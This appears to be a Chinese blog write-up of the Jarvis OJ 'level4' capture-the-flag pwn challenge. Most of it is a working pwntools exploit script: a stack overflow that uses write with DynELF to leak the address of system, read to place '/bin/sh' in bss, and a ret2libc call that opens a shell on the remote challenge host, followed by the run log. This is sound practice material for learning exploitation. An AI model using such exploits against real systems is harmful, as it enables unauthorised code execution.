美文网首页
Jarvis OJ level4 wp

Jarvis OJ level4 wp

作者: 111p1kk | 来源:发表于2019-07-15 00:41 被阅读0次

程序开启了NX保护,漏洞很好找


无libc,无system,无"/bin/sh"
read write函数
借用pwntools自带的模块DynELF进行泄露


1.利用write函数泄露system地址
2.利用read函数将"/bin/sh"字符串写到bss段中
3.调用system("/bin/sh")


exp如下:

#!usr/bin/python

from pwn import *
from LibcSearcher import *

io = remote("pwn2.jarvisoj.com", "9880")
# io = process('./level4')
elf = ELF('level4')

read_plt = elf.plt['read']
write_plt = elf.plt['write']
# start_addr = elf.symbols['start']
start_addr = 0x08048350

bss_addr = 0x0804A024

def leak(addr):
  payload = 'a' * 0x88 + 'a' * 4 + p32(write_plt) + p32(start_addr) + p32(1) + p32(addr) + p32(4)
  io.sendline(payload)
  leak_addr = io.recv(4)
  return leak_addr

d = DynELF(leak, elf = ELF('level4'))
sys_addr = d.lookup('system','libc')

payload2 = 'a' * 0x88 + 'a' * 4 + p32(read_plt) + p32(start_addr) + p32(0) + p32(bss_addr) + p32(8)
io.sendline(payload2)
io.send("/bin/sh\x00")

payload3 = 'a' * 0x88 + 'a' * 4 + p32(sys_addr) + p32(0xaaaa) + p32(bss_addr)
io.sendline(payload3)

io.interactive()
kk@ubuntu:~/Desktop/black/Jarvis Oj/level4$ python exp.py 
[+] Opening connection to pwn2.jarvisoj.com on port 9880: Done
[*] '/home/kk/Desktop/black/Jarvis Oj/level4/level4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Loading from '/home/kk/Desktop/black/Jarvis Oj/level4/level4': 0xf7771930
[+] Resolving 'system' in 'libc.so': 0xf7771930
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
[*] Trying lookup based on Build ID: de799a85b2ebc2929eb4585f009d0c5e6211f2f8
[-] Downloading 'https://gitlab.com/libcdb/libcdb/raw/master/hashes/build_id/de799a85b2ebc2929eb4585f009d0c5e6211f2f8': Got code 404
[!] Could not fetch libc for build_id de799a85b2ebc2929eb4585f009d0c5e6211f2f8
[*] .gnu.hash/.hash, .strtab and .symtab offsets
[*] Found DT_GNU_HASH at 0xf7742dd8
[*] Found DT_STRTAB at 0xf7742de0
[*] Found DT_SYMTAB at 0xf7742de8
[*] .gnu.hash parms
[*] hash chain index
[*] hash chain
[*] Switching to interactive mode
$ ls
flag
level4

相关文章

  • Jarvis OJ level4 wp

    程序开启了NX保护,漏洞很好找 无libc,无system,无"/bin/sh"有read write函数借用pw...

  • Jarvis OJ level5 wp

    题目要求:附件同level3_x64,mmap和mprotect练习,假设system和execve函数被禁用,请...

  • Jarvis OJ level3_x64 wp

    用jarvis复习复习,题总是做不出来...☹ 0x01寻找漏洞 checksec 开启NX,不能转入shellc...

  • Jarvis OJ WriteUp

    Web PORT51 提示要从51端口。实际上是要从自己的51端口。用curl就可以实现: 得到flag。 LOC...

  • Jarvis-OJ-Web

    title: Jarvis OJ Webdate: 2019-05-18 14:06:08tags:- CTF- ...

  • APK动态调试-FindPass为例

    工具: jeb-linux、adb、雷电模拟器、jadx 示例: jarvis oj上的FindPass 步骤: ...

  • jarvis OJ之pwn

    Basic - Shellcode 题目描述: 作为一个黑客,怎么能不会使用shellcode? 这里给你一段sh...

  • Jarvis OJ---Smashes

    先查看一下开启了什么防御机制 发现flag存在两个位置 最后贴上脚本

  • Jarvis OJ---Backdoor

    window下的一个程序,题目中说有个参数可以触发该程序执行后门操作,IDA反编译,进入关键函数,猜测应该是v13...

  • Jarvis OJ---fm

    简单的一个格式化字符串的漏洞 从程序之中我们可以看到,只要我们的x=4,那么就会调用system函数,从而gets...

网友评论

      本文标题:Jarvis OJ level4 wp

      本文链接:https://www.haomeiwen.com/subject/nzbwkctx.html